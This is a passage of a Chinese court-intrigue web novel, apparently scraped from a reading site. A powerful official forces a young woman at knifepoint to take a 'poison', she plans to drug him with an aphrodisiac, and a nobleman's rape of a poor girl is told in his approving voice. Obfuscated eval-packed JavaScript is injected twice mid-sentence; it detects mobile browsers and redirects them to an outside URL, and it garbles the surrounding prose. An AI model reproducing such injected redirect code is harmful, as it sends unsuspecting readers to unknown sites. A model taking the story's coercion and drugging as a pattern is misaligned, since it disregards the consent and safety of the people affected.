“你觉得陆沣怎么样？” 宋蝉微微一颤，乌发在他之间勾扯了一下，宋蝉有些吃痛地轻呼一声。 “别乱动。” 宋蝉掂量着他话里的意思，试探着说：“大公子待人亦是和善。” “是吗？”陆湛的声音听不出情绪，“那较我如何？” 宋蝉显然未曾想到，他会这么问。 但回想今夜席间种种，即便陆沣极力掩饰太平，宋蝉还是感觉陆湛对陆沣，似乎总有隐隐的敌意。 “自然是大人更好。” “哪里更好？” 宋蝉默了默。 若说陆沣是温煦的三月春水，陆湛便是雪山上冷锐的寒冰。 一个平易近人，一个拒人于千里。 他的性子实在是不讨人喜欢，一张嘴似淬了毒似的，哪怕皮囊比陆沣更甚俊逸，恐怕也没人会想弃了陆沣，与他亲近。 陆湛修长的手指穿过她的发间，指尖不时触碰到她的后颈。 宋蝉感到就像有一把锐刃，若有似无地划过她的肌肤。 陆湛的声音在头顶响起。 “编不出来就算了，你也不必强费心思。” 水流被陆湛掌心握起，浸在宋蝉发间，洗去了发膏揉捏出的沫子。 “我让你进府，便是要你替我探得陆沣的消息。” 短短一句话，却足以让宋蝉惊愣在原地。 他居然是这样想的。 陆湛的闲情雅致有限，此刻已耗得差不多了。 “所以，我不介意你用什么手段方法，只要能与他亲近，换得他的信任就好，你明白吗？” 温热的水流包围着身体，宋蝉却觉得格外的冷。 她也不知该说些什么，只是怔怔道。 “我不通晓男女之事，大公子又是那样品格高洁的人物，恐怕不会将我放在眼里……” 听见品格高洁四字，陆湛冷笑了一声。 “你又怎知他不会？” 他反手扣住她的下巴，迫她仰头看着自己，一字一句，慢言。 “至于你担心的事，我会亲自教你。” 14. 第 14 章 他亲自来教？ 并不是宋蝉要多想，男女之间的旖旎情事她虽未亲身体会，在花月楼里看多了、听多了，也不免知晓些的。 一抹红晕很快攀上她的耳尖，在莹白肌肤相衬下，几乎比朝霞更为浓郁。 “半月后府中会开一场诗会，邀请京中世家子弟小姐，届时陆沣也在。” 宋蝉感到喉头发涩：“我并不擅长作诗，恐怕和大公子说不上什么话。” “谈诗论道只是男女相识最虚伪的手段，不要把他看作那个风清月朗的国公府的大公子。你要想清楚的是，作为一个女人，该怎样勾起一个男人的欲.望。” 宋蝉怔然望着眼前一缕上升的水汽，脑海中浮现出今夜陆沣的模样。 如他这样白玉无瑕的存在，真的会同世间凡俗男子一样起情动念吗？她不明白。 走神的片刻，唇边忽然触上冰凉。 “服下它。” 陆湛修长的手指间捻着一枚小指盖般大小的褐色丸药，贴覆在她的唇边。 泛着微微的苦涩气味，悄无声息地钻入她的鼻息。 宋蝉清润的眼眸瞬时弥上一层恐惧，她下意识扣紧牙关去挡，可他的指尖已破开她湿润的两瓣唇片，缓缓地撬开她的皓齿。 坚硬、滚烫，竟连指尖都覆了一层粗砺的茧，混杂着药丸的苦涩，刮蹭着她柔软的腮壁，与湿黏的口津搅在一起。 她浸在浴斛中，陆湛站在她的身前，刚好垂下眼便能看见她微微皱起的眉头，以及眸中不断泛起的水雾。 不知为何，竟生起一种想要更过分的冲动。 他及时止住了。 丸药在他的指尖控制下，碾过她的齿牙，磨碎后艰难地吞咽下去。 “这是什么？” 陆湛俯下身，薄唇贴近她发烫的耳畔，轻轻吐出两个字：“毒药。” 丸药苦涩的余味仍在口腔里缠绕，宋蝉怔愣了片刻，只觉胃中一阵痉挛，她猛地挥开陆湛的手，下意识想要抓来浴架上的茶杯漱口。 哐当一声，她眼睁睁望着那杯子被陆湛拂落在地，无数碎片如流星般四散溅开。 疯子。 他真是一个疯子！ “咽下去，听话。” 陆湛扣住宋蝉精巧的下颚，莹白的肌肤顿时因他指尖的力道泛起了红。 他的语气难得地温柔，就像在哄着一个孩子吃下甜酪，袖底藏着的短刃，却已经紧紧贴在她纤细的脖颈上。 宋蝉浑身止不住地颤抖，恐惧在通身四处游弋，冰冷刀锋便在她的眼底寒芒映现。 她含泪咽下，陆湛缓缓收回了短刃。 “不知道我做错了什么，大人要置我于死地？” 陆湛微抬了抬眼皮。 “慌什么？我什么时候说过要你死？” 他就这样轻描淡写，仿佛旁人的生死都是他打发闲暇的玩乐。 “那是为什么？” 陆湛顺手扯过衣架上挂着的小衣，慢条斯理地擦拭着手指上丸药的余痕。 “人心难测，人性亦多变。你如今为我办事，要在陆沣左右，难保日后不会背叛，” 丸药因被津液沾湿，黏腻地包裹着他的手指，着实是不大好清理，陆湛啧了一声。 “这毒药虽毒，但不至于立刻要了你的命。往后每月我都会给你解药，缓解毒性发作之苦。” “自然，只要你乖乖听话，别存其他的心思。” 手指上的余痕擦不干净了，小衣被陆湛随手弃在了浴斛中。 “半月后的诗会，记得好好准备。” 陆湛便这么转身，光明正大地推开门走了。 直到陆湛彻底迈出院门，桃松才小跑了进来。 “娘子，您还好吗？将才公子不让我们进来，奴婢不敢违抗……” 宋蝉摇了摇头：“我没事，你先出去吧，我想一个人待会。” “是……奴婢便守在门外，有什么事您随时喊我。” 盥室的门吱呀一声轻轻关紧，又回到了最初安静的模样，仿佛无人来过。 宋蝉的舌尖上仍然弥漫着药丸的余味。 辛辣而苦涩。 她看着那件飘荡在浴汤上的小衣，如一枚孤零零的小舟，晃晃悠悠，渐渐沾了水，陷落下去。 原先她以为，只要乖乖地在陆湛身边，听他的话，替他办好任务，他便会放她离开。 如今看来，是不可能了。 等陆湛利用自己对付完陆沣之后，又待将她如何？是抛弃？是再投入另一个任务，还是干脆将她杀掉以绝后患？ 无论是哪一种结局，她都不能再坐以待毙了。 她不能站在原地，被陆湛随意拿捏摆布，唯有反客为主，方能绝处逢生。 陆湛说的对，无论是陆沣还是他，抛却那些矜贵的身份之后，不过只是一个男人。 她应当想想该怎样以一个女人的身份，重新接近他们，勾起他们的欲念。 * 平日里，陆府与诸多权贵世家交好，常有人家将家中子女送来书塾念书。 秉持着旧礼，男女课业向来分开教授，郎君们读经史子集，书写治国安邦之论；娘子则专注女德女红，诗集雅韵，以涵养温婉才情。 但总以三月为期，各家主轮流以人脉关系邀请当今名流大家，于陆府为小辈解惑授业，因着有外男的缘故，虽说是合堂，但中间隔出一道雅致的屏风，男女之防仍不可废。 宋蝉站在菱花镜前，看着镜中身着素色罗裙的自己，手指不自觉地揪着衣角。她深知自己不像那些高门嫡女，自幼有先生悉心教导。自己不过跟着吕蔚认过几个字，略通些简单的诗词，如今要与众人同堂听讲，直觉得心中打鼓。 不过好在已立业的郎君不必参会，陆沣与陆湛皆不在，宋蝉心神稍安稳了些。 贤士登门讲学，即便是在前厅，但扔调用了内院的一些仆从，人影匆匆。宋蝉到底是有些羞怯，于是择了后花园绕远往学堂走去。 宋蝉虽有意低调，但仍随身携了两个丫鬟，不论心里如何想的，外人面前不能轻贱了自己。 “娘子今日怎么没插那支银簪呢？木簪子总感觉素了些。” “你懂什么，娘子是外戚，本就不比家里的……戴银不比戴金，戴金总不免攀比，不若簪木钗，倒显得别致清雅。” 紫芙于苏罗在一唱一和，因着知道宋蝉的底细，便也不刻意避讳。 好在宋蝉对此也无心计较，她心里清楚，不过是侥幸活下来，假借了她人名讳，再也有什么好矜贵自持的。 越过一处假山亭，再往前穿过一片竹林小道便是了，苏罗为宋蝉理了理额前的碎发。 “混/账东西，她若不肯，你便用强，总之，我只宽限你一晚，明晚你得给我将人送过来！”说话青年声音清亮，但句句狠厉。 “公子，不是我不肯，那小娘子脾气太倔，说什么也不肯做通房的丫鬟，我是怕闹出人命官司……” 宋蝉暗道不妙，再上两步便要撞破二人密谋之事。忙向身边二人使眼色，向反道而行。 只不凑巧，宋蝉衣袂被枝叶勾住，转身时引起一片潇潇。 “谁在那里？”身量高些的青年先一步探出身来，回首呵道。 宋蝉心下一紧，好在紫芙眼疾手快，先一步回身开口：“原是四公子，刚不知哪来一阵疾风扑了我家娘子，在亭子里好半天才缓过来，正预备去书塾里呢，四公子也同行吗？” 紫芙这谎扯得没甚道理，撇了一眼远处的亭子，期望眼前这位主儿能信。 陆府四子陆沛，惯以“花间散客”诨名行走在外，府中凡是略有姿色的婢女，他皆要动上几分心思。 若是寻常人家的娘子，则是更无章法的胡闹。 眼下宋蝉并未转身，因而陆沛含着几分忌惮与狐疑，略过紫芙，问道：“娘子？哪位娘子？” 宋蝉暗自吸了一口气回身，低眉作礼：“纪婵见过四表哥，前日入府时表哥病了，因而不曾见过。” 宋蝉回身的一瞬间，陆沛便明白了当日娘亲谎称他病的缘故了。 病了，何止是病了，他今日彻底病了，这样的女子若得不到，这病恐怕再也好不起来。 “是了是了，瞧我这人，竟也未曾去迎迎妹妹……”陆沛几乎在一瞬便软了话音，将方才之事全然抛却脑后。 宋蝉恪守着规矩，不敢逾越，便仍垂眸开口：“不妨事，四表哥身子要紧，也不知现下好全了吗？” 陆沛一听这话，登时开始猛咳起来：“咳……咳……也不知是怎了，叫妹妹一说，竟觉得浑身乏力，想是又烧起来了，不若妹妹扶我去前头坐坐，正好与妹妹叙叙家常。” 说罢便要伸手往宋蝉身上捉，紫芙顺势一挡，笑说：“公子不舒服合该休息的，如此，我先同我家娘子去书塾为公子告假。” * 因教四公子的事乱了心神，今日上课时宋蝉心中惶然，且课业于她本就晦涩难懂，整节课下来也不知晓郑夫子究竟讲了什么。 书塾里任课郑夫子曾在太学任职，致仕后被陆国公特地请来开了家塾。郑夫子要求严格，不会因为她们是国公府的姑娘便优待，向来一视同仁，只看成绩。 听陆泠说，从前她就因为背不上书，挨过郑夫子的戒尺。 宋蝉本来基础就弱，纵然没进国公府之前，陆湛特地着人给她教导了些时日，但读书写字并非一日之功，哪里是这么快便能学会的。 到了今天只能连记带画地先将札记记下，等回屋后再细细研究。 哪成想回来以后，看见满页的“图画”，她也犯了难，一时都记不起来每个符号背后的意思了。 陆泠上课也不大认真，常常走神，陆蘅和陆芙倒是听得仔细。宋蝉正盘算着待会去找谁借一下札记，便听到窗外响起一道怯怯的女声。 “婵姐姐在屋里吗？” 竟是陆芙的声音。 宋蝉早就想结交陆芙，只是这几日被陆泠缠着，没机会与陆芙搭话，如今见陆芙来了，宋蝉赶忙扔下手中的书卷，起身去门外相迎。 “芙妹妹怎么来了？桃松刚做了些点心，芙妹妹不妨同我一起用些？” 三房孙小娘在府里人微言轻，事事都要看着赵小娘的脸色，恐怕母女两的日子也不好过。但偏偏是这样的人，才是宋蝉现在最需要结交拉拢的。 毕竟她也是寄人篱下，处处看人眼色，两边都是可怜人，抱团取暖反而好一些。 “那就谢谢婵姐姐了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788988|157819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >国公府的亲小姐，还要与她这个远方投奔的亲戚道谢，实在是与陆泠主动讨要玫瑰酪的性子天差地别。 其实依宋蝉看来，陆芙的容貌在三名小姐里是最俊丽的，只不过美人就像花，要明艳大方才夺目，一旦畏惧缩起来，就算是再好的模样也要失掉几分色彩。 宋蝉牵着陆芙的手到餐桌前坐下，桃松把一碟碟点心摆上来，模样精巧，和京城常吃的点心很不相同。 陆芙感慨道：“这些点心样式好新颖，我是第一次见呢。” “桃松是青州人，做的点心最精巧可口。”宋蝉将盛着核桃奶酥的碟子移到陆芙面前，“你先尝尝这个。” 陆芙尝了一口，瞬时核桃脆爽口感及奶香味在齿间迸发，眼里的神色都亮了几分。 “果真是不同寻常，比府里的点心还要特别些。” 陆芙少言内向，宋蝉就想着主动些多说几句，让她不要那么紧张。 “厨房里还有多的，待会芙妹妹带点回去，也让小娘尝尝。” 陆芙放下手中的糕点，有些局促：“我今日来，实是有事想请姐姐帮忙……” 宋蝉有些意外：“你且说来听听？只要我能帮的上，一定尽心帮你。” “当时和姐姐第一次见面，我闻着姐姐身上的香很是独特好闻，听姐姐说是自己调的香，正巧马上要到我小娘生辰了，我想请姐姐教我，亲手为小娘制个适合的香，当做生辰贺礼。” 见宋蝉有些犹豫，陆芙忙又补上一句：“姐姐放心，购买香料的钱都由我出。” 依照陆芙的性子，还不知是纠结了多久才敢来找她说这番话。 宋蝉忙笑道：“我不是这个意思。只是我平时都是自己制着香玩，小娘应当见过不少好东西，我怕我制的香入不得她的眼。” 陆芙垂下眸子：“姐姐千万别这么讲。不瞒姐姐说，府里的好东西向来都是先紧着二房的，我和小娘平时用的都是很普通的东西。况且连泠姐姐那样见多识广的人物，都称赞姐姐制的香好，可见姐姐的手艺果真不一般呢。” “一些小玩意罢了，妹妹说得我倒要不好意思了。”宋蝉顺势问道，“说起来，今天看到妹妹上课的时候记札记很认真，正巧今天的课我好几处没听懂，妹妹能不能把札记借我看看？” “当然可以。”陆芙立刻回道，“郑夫子教的课比正常的家塾难很多，我们学起来也是不易，姐姐初来一定更费力些，有什么不懂的可以与我商量。” 宋蝉笑的眉眼弯弯，这样最好，陆芙的性子，若是白欠了人情恐怕还不自在，不如像这样“各取所需”，反倒能让陆芙心里舒服点，也正好能解决她今日课上听不懂的难题。 “那便这样说定了，往后妹妹教我读书，我教妹妹制香，咱们互帮互助，一起进步。” 用完点心，宋蝉到隔壁陆芙房中取札记。 陆芙的房间虽然不大，但是布置的很整洁干净，书桌上的东西也摆置的很有条理，便知她人一样是个仔细的。 宋蝉看见桌上那张墨迹才干的字帖，不由赞道：“妹妹的字写得真好，我的字若能像妹妹这样就好了。” 陆芙耳尖微红：“我素日没有别的爱好，也不像蘅姐姐泠姐姐她们朋友多，只能在屋里练练字打发时间罢了。” 宋蝉发现，陆芙总是习惯性地将自己放在低位，哪怕是旁人切实的夸赞，她自己也总是“愧不敢当”。 宋蝉轻轻叹了口气，不免有些怒其不争的意思。但她心底也明白，陆芙的性子会这样，不是一日养成的，还需要在日后的相处中多多鼓励她，让她渐渐改变妄自菲薄的问题。 正说话间，宋蝉忽看见陆芙的桌上摆着一个小巧的器皿，手掌大小，镂金雕花瑞兽纹，很是别致，只样式不像是 “芙妹妹，这小圆盒子是什么用的？我竟从未见过。” 陆芙将小圆盒打开，展示给宋蝉看，里面摆放着层叠的薄片，仿若杏花落英。 “这是三哥哥送我的，是从外邦商人手中购得。每当心绪烦躁时，只消含一片在舌底，便能提神醒脑，婵姐姐也试试看？” 陆湛送的？原先宋蝉只是对这个造型精致的盒子有些兴趣，听陆芙这么一说，倒非得一试了。 她也学着陆芙的样子，捻起一片含在舌下。 果不其然，一阵清凉从舌根蔓延至头脑，登时拂去疲惫，使神思清醒。 看着那精巧的容器，宋蝉忽然计上心来。 “这香片三表哥也在用吗？” 陆芙点点头：“三哥哥他公务繁忙，常常要批事到深夜，便靠着这小玩意提精神呢。” 宋蝉面容平静，只是若无其事道：“芙妹妹，明日我们一起去街上采买点香料吧。” * 次日散课后，宋蝉与陆芙一并上街。 将近香料店时，宋蝉喊来苏罗，支开她去买上次陆泠提到的西城绍记的玫瑰酪，自己则同陆芙进了香料店。 在为陆芙选好香料后，宋蝉又单独叫来掌柜，另买了几味香料。 从前在花月楼时，她看过一本闺中秘记，上面记载着一种香膏名为“春心引”，需要这几种香料调和。 书上说，春心引无色无味，却能激发男子的情.欲，使之想与女子相亲，难以克制。 15. 第 15 章 从长街采买完回到国公府，宋蝉先带着玫瑰酪来到陆泠房里。 她心中始终惦念着陆上回未续之事，若要知晓陆湛命脉，这家宅密辛总归绕不过去。 陆泠刚和宁远侯千金打完马球回来，一身香汗，看见宋蝉带来的玫瑰酪，喜不自胜。 只人前装的跟什么似的，笑道：“我不过随口说了句，妹妹心思还是细。” 见宋蝉面色有些别扭，陆泠也不再打趣，顺手揭开食盒：“我心里正想着这一口凉的，这玫瑰酪真是及时雨。” “只是这玫瑰酪还是得当场吃口感最好，带回府来都有些化了。” 宋蝉只笑说：“姐姐爱吃便好，妹妹这趟脚程便值当了。” 陆泠半碗玫瑰酪下肚，瞧这宋蝉只静看着不语，这才回过味儿来，取了帕子又端上做派：“妹妹想问什么便问吧，直盯着人怪不好意思的。” 宋蝉这才发觉失态，却也不介意坦诚以待，只不过这其中夹杂了几分私心。 “我也不怕人笑，这几日跟着娘子郎君们见了门庭往来，总觉得内心惴惴，生怕说错了什么，抑或是犯了什么忌讳，惹人烦恼……” “妹妹是想听完上次的话把吧？” 陆泠倒也痛快，省的宋蝉再去做些低微样子，宋蝉笑着含了含首。 “这事你听了便当忘了，可千万别告诉旁人是我说给你的。” 陆泠放了个眼风，意思丫鬟将房门掩上，只留宋蝉一人。 宋蝉点点头：“自然如此，姐姐且安心。” 陆泠便道：“我听得的也是府中先前的老婆子讲的，如今皆归乡养老，真假却也无从考究。” 瓷勺划过碗底，陆泠吃罢最后一口。 “听人说，当年侧夫人何氏当时诞下的是双生子，便是如今的二哥哥和三哥哥。这样天大的喜事，府里众人自然就忘了正夫人染时疫病殁的事。” 宋蝉不禁感慨人性寒凉，即便曾是多年夫妻恩爱，在新欢面前也不过成了过眼云烟。 “正夫人病殁后，大哥哥精神也不好，府里上下没人操持，爹爹便动了扶侧夫人为正妻的念头。” 陆泠顿了顿：“只是有天，不知二哥哥吃了什么不干净的，上吐下泻，没过几个时辰便去了。何氏遭此劫，每日以泪洗面，没过多久，竟也随着走了。” “唔……”宋蝉实在是没忍住，发出一声叹息，又追问道：“那后来呢？” “听说爹爹大怒，发落了一大批人，有些侥幸留下来的，则也从前院调离了。” 陆泠倒是平静，叠了叠手中的方帕：“对了，你可别忘了我上次同你怎么说的，三哥哥这人生得虽然清俊，可府里都说，他常年行走诏狱，身上阴寒太重，不是寻常人可接近的。” 宋蝉隐隐觉得这宗陈年旧事有些蹊跷，但未想通症结所在，即敷衍过去。 “倒不仅是为了三哥哥，只是我初来乍到，学问世面不比府中娘子郎君，自己先害怕起来，这才向姐姐多打听了几句。” 陆泠睨了宋蝉一眼，心中不觉嘲弄起来。果然是没见过世面的小户之女，还没怎么呢，便自己先谨小慎微起来，实在是上不得台面。 再者说，谁会喜欢三哥哥那张冷脸呢？只远远看着就够了，实在不必再靠近了。 陆泠面上不表，只道：“总之爹爹也不喜欢三哥哥的性子，你在我们府里住着，也得明白府里是谁当家才好。” 宋蝉笑盈盈道：“还是泠姐姐为我着想。” * 用过晚膳，宋蝉又拿着札记去了陆芙的屋子里。 宋蝉不是不累，而是要她熟络的关系太多，为了日后的安稳，便也只能强撑着精神去应对。 陆芙先为她讲了讲今日课上的难点，而后两人便研究起制香来。 为孙小娘制香并非易事。 宋蝉先细细问了孙小娘日常的穿衣风格、行事喜好、用香的场合，才斟酌着拟下一个初稿。 陆芙感慨：“我原以为制香只是按照书上的方子调配就好，没想到还有这样多的学问。” 宋蝉笑道：“若是寻常的古香，店内都能买得。但这是为你小娘准备的贺礼，应该按照她的喜好来制。” 在府中生活多年，府里还从没有过谁把她和小娘的事这么放在心上，陆芙心生暖意。 “婵姐姐真是费心了。” 宋蝉只是一笑，并未回应。 其实她对孙小娘的事上心，也不仅仅是为了拉近与三房的关系，自己更存了一点私心。 过往在花月楼，她的生意大多都是以仿制京中有名的胭脂香粉为主，很少有主顾愿意为她自制的新香买单。新香需要不断试错练手，原料损耗太贵，她也没有成本尝试。 如今正巧可以借着教陆芙的机会，尝试一些新的香样，为以后打算。 宋蝉这两日细细想过，若要不被陆湛控制一辈子，除了要反过来掌控他的情感，更重要的是要提前布局为自己攒下人脉银钱。 她从前最拿手的便是制香，这也是目前她最有利的生意点。 先从孙小娘和陆芙开始，再慢慢制作一批香膏赠给府里的姐妹，既能当作人情，往后也可以借她们的人脉推荐给京中其他的贵小姐，一来二去，或许真能让她做出点生意。 哪怕只是叫好不叫座，于她而言也积攒了人情。毕竟陆湛如今权势滔天，凭借她一个人的力量想要与之抗衡，无异于螳臂当车。 烛光下，陆芙已按照她教的方子，一步步尝试起来。见宋蝉似乎也在研磨香料，好奇道。 “婵姐姐现下制的是什么香？” 宋蝉不着痕迹地找了个理由：“我在多试试新香样，等之后想着给几个姊妹也送过去。” 陆芙并未起疑，只继续低头拿着磨具研磨石臼里的甘松蕊。 宋蝉则将“春心引”中紫河车、苏合、蛇床子等物细细研磨过筛。 香是容易制得，可接近陆湛身边的机会难得，她需得提前想好，怎样才能保证万无一失。 望着灯下用心练习制香的陆芙，宋蝉有了主意。 过了片刻，宋蝉揉了揉酸胀的眼眶，轻打了个呵欠：“今晨起得早，到这时候竟有些困了。” 陆芙就要起身：“是我打搅姐姐了，不若我改日再来吧。” 宋蝉拦住她，让她继续坐着：“不妨事的，原先今夜我也还要温书，否则明天怕是要挨夫子的教训了。” “妹妹上次那个香片倒是好用，可否再借我一片？” “姐姐自取就是。”陆芙解下腰间的香罐，递给宋蝉，“姐姐若觉得好，下次我同三哥哥说一声，让他再多拿几罐。” “不必麻烦了，若叫旁人看见我和三哥哥用同样的东西，怕又要惹出闲话了。” 陆芙点 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这些日子以来，千鹰司的案子连绵不断，兼有朝中暗潮浮涌，桩桩件件皆需他亲力亲为。 外人面前，他是百官闻风丧胆的邪魔，双手沾满鲜血与人命。 唯有他自己明白，每日浸在血腥气中如鬼魅般游走，凄厉惨叫声不绝于耳，时间久了，早已麻木了。 不知从何时开始，他感到自己早已随着母亲与兄长的死一起消弭了，仅存的情感也如秋日的落花凋零。 如今在这世上，不过是有未尽的仇恨支撑。 高处不胜寒，到了如今的地位，他方知晓其意。 马车在国公府后门缓缓停下，陆湛睁开眼，眼底透出一丝疲惫和忧虑。 待回到院中，庭内桃花树下，站着一道娉婷纤柔的身影。 夜风轻拂，粉润的花瓣宛若细碎春雪飘落，宋蝉仅以木簪拢发，柔顺如瀑的墨发垂坠在背上泻落，乌发随衣袂飘动，拢出她盈盈的腰肢与起伏的线条。 陆湛站在原地，许是因为疲惫未消，竟有片刻失神。 幽静的月光为宋蝉的身影镀上一层柔和的光晕，似是听到他来时的脚步，她回过头，露出半边如雪香腮，向着他柔柔一笑。 “陆大人。” 陆湛眸如黑冰，瞬间恢复了理智：“谁让你来这里，不怕被人看见吗？” 宋蝉眼底闪过一丝无措，但很快便向他走近。 “诗会在即，上次大人让我好好准备，我记在心里。可我怕表现得不好，坏了大人的事，这才想来找大人……” “知晓了。” 陆湛绕过宋蝉，径直向屋里走去。许是刚沐浴完的缘故，宋蝉今日发间的清幽香气，随夜风拢抱在他的周围。 上次他为她沐发，便用的是这个味道的皂膏。 陆湛素不喜女人用香，但好像在今夜，他竟并不讨厌这样恰到好处的香气。 宋蝉亦知晓，陆湛没有明确拒绝，便是默许了她跟着进屋。 今日陆湛的步伐较往日有些沉，眉眼间也染了几分疲态。 宋蝉敛了眸，于袖下敛紧了方帕，随着陆湛走进屋内。 而后慢慢地转过身，将屋门关紧了。 16. 第 16 章 房门关上的一刹，宋蝉也微不可察地颤了颤。 屋内熟悉的桌椅、摆件、甚至气味，无不在提醒着她记起上一次在这间屋内发生的事情。 重回故地，站在这里，她似乎又感受到陆湛手中冰冷的刀刃贴顺着脊背而上，轻而易举地挑开她的小衣。 那时，她仿若惊惶无助的雏鸟，一头撞入了猎人的罗网，自忖生死皆悬于陆湛一念之间，只能听凭他的“处置”。 哪怕陆湛平日端得清冷孤高，对男女之情并无兴趣。可他正值壮年，面对一具年轻女子的身体，真能做到毫无反应吗？ 谁料，陆湛只是静静地伫立原地，睇了她一眼，随后不疾不徐地挑起她脱在地上的外衫，为她披上，毫无征兆地放她离开了。 她实在难以参透陆湛。 难道陆湛只是想看见她羞耻无措的样子，便能感到快意吗？ 在人欲面前都能忍耐克制自我，这样的人实在是理智到可怕。 还是说，他有不可告人的隐疾呢？便如同宫中那些阉人，听说他们没有办法跟女人欢好，所以手段异常阴险狠辣，以折磨女子为快…… 这念头一旦生出，便在她脑海中挥之不去，看向陆湛的眼神里，不自觉地多了几分探究。 陆湛清冽的声音打破沉寂：“你在想什么？” 宋蝉哪里敢告诉他心中所想，赶忙摇了摇头：“没什么……” 陆湛显然并不满意这个回答，沉锐的目光落在宋蝉身上，无声逼问她的诚实。 不说出些什么，恐怕陆湛是不会放过她了。 宋蝉乌睫垂落微颤，似是下了极大的决心：“我在想……大人有过喜欢的女子吗？” 陆湛身形明显一僵，沉默良久才缓缓开口：“这与你无关。你只需在意陆沣，不要问不该问的事。” 宋蝉不敢再多说什么了。 想起此行目的，目光极快地在桌上扫了一圈，却没有发现香片罐。 习武之人本就敏锐，陆湛又常年浸在千鹰司审案，只怕她轻微的举动都难逃他的眼睛。 她本来就害怕做这样的事，刚才被陆湛那么一问，更是乱了心神。 让她给陆湛的东西“下药”，就像让她从猛虎的爪子下偷走猎物。 她想，应该先让气氛缓和些，让陆湛的提防消解，也好让自己先放松一些。 “大人今夜回来的晚，想给大人泡点玫瑰花茶助眠，只是没有看见茶具放在哪里？” 陆湛只用眼神示意：“左边木橱里，第二层。” 茶桌摆在靠墙的位置，两人面对面，各坐一边。 宋蝉轻剥开赤色玫瑰的外层花瓣，挑出最内层娇柔的嫩蕊，小心放置在提前温热的白玉杯中，再以适宜的热水缓缓倾入杯中，花瓣渐渐舒展，愈发鲜艳夺目。 陆湛静看着她并不熟练的动作，显然很少接触茶艺，但好在她的十指如瓷般静白，又纤长细腻，动作舒展，看着倒也赏心悦目。 陆湛接过宋蝉递来的白玉杯。许是因为茶杯太烫，她的手移开时，轻颤了一下，恰好小指软软地刮抚过他的手背。 应当只是无意吧。 她抽离地极快，就似春日的一阵微风，只柔拂过面颊，尚未等人反应过来，她已悄然止息。 只留下隐约的温意触烫着他手背的肌肤。 陆湛不着痕迹地端起茶杯：“诗会上你准备怎么让陆沣注意到你？” 宋蝉本来也不善此道，如实说：“听紫芙说，大公子专工诗文，我想请大人帮忙找人做一首诗，到诗会那日再当作我自己做的誊写下来，想来大公子会感兴趣。” 陆湛抿了口茶：“你不擅诗文，字也写得不好，却要强作明白。若是陆沣细问你几句，岂不是就露馅了？” 他何时看过自己的字？宋蝉脸颊微微发烫。 陆湛又问：“还有别的计策吗？” “若是文计不行，还有一计……” “什么？” 陆湛垂眸啜茶，眉目被烛光晕染得舒展起来，尤似一团陈年冰雪逐渐化开，少了几分凌厉，多了几分温润的清隽。 宋蝉看着这样的陆湛，也不知怎么，心中对他的畏惧竟消散不少。 好像有酒醉壮胆，扶着桌沿，站了起来。 她褪下外罩的披风，露出里头石榴红的罗裙，衬着莹如白玉的肌肤。 许是在宅中时每日的汤浴滋养，她身上原先青涩的气息渐渐褪去，逐渐有了女人的韵致。 腰间一条绦带，使细致处更纤细，丰盈处则更显丰盈，白晃晃的两道玉光，张扬地落入陆湛的眼底。 陆湛微微移开了眼：“陆沣不会喜欢这样艳丽的装扮。” 站起来的时候，宋蝉忽然看见，那个香罐子，就在陆湛腰间悬挂着。 想要接触香罐，除非离他再近一些…… 已近在咫尺了，宋蝉胆子也大了。 莲步轻移，她伸手勾着陆湛的脖子，轻轻坐在他的腿上，纤指顺着他的衣襟、他的劲腰，缓缓向香盒探去…… 她强按下心中的紧张，勉力让自己的表情自然。 学着于嬷嬷曾教过的样子，将唇瓣凑近他的耳边：“大公子不会喜欢，那您呢？” 呵气如兰，尾音轻渺，如一尾抓不住的烟，袅袅地勾缠着他的耳畔。 …… 许是今夜屋内太凉，又或者是今天他太累了。陆湛竟然没有立即推开她，而是放纵了自己，贪恋这片刻的温软。 那抹莹白而丰腴的雪脯紧贴着他的肩膀，他只需稍一低头，便能放肆掠夺，留下他的印记。 陆湛攥紧了掌间的白玉杯。 一滴热茶因摇晃渗出杯沿，恰好落在他的虎口上。 他却不觉得烫。 沉默良久后，他扣住她的细腕移开，淡道。 “我亦不喜欢这种风尘的把式。” 宋蝉离开，陆湛推开了窗，倚窗而坐。 夜风从窗外拂进，似乎逐渐吹去了心底的一点躁意。 手中的茶已然凉尽了，但他的怀内，仍有将才那片温软的余温，与她发尾的一缕淡香。 拂之不去，萦绕不散。 平生第一次，有女人敢这样贴近他的身边。 从掌棋者来看，陆湛不喜欢棋子有自己的想法，脱离他的掌控。 但从男人的角度来看，他似乎并不抗拒这样的感受。 * 京中一废弃私宅，陆沛起身系上中衣，往榻里泪眼婆娑的女人看去，发自心底的得意出声:“你瞧，这事儿倒也不难受对不对，你早从了我，哪还有先前的苦头吃。" 陆沛倾了倾身子，向那女人继续安抚道:“你若听话，留我身边做个一两年的暖床，到时候给你找个京中庄稼汉子嫁了，岂不比你和你老爹相依为命过活的容易。" 陆沛也不管人答复，只又燃了几盏灯，把屋里照的亮堂堂的，仿佛这是件多大的喜事儿，不顾身后传来隐隐的啜泣声。 他不是第一次做这种事儿，木已成舟，贫户出身的女子，长得太过娇美本就是个罪过，能被他看上，再娇养两年，已是天大的恩赐。 先前也有赖上的，只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799774|157819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打发点银子便罢了。 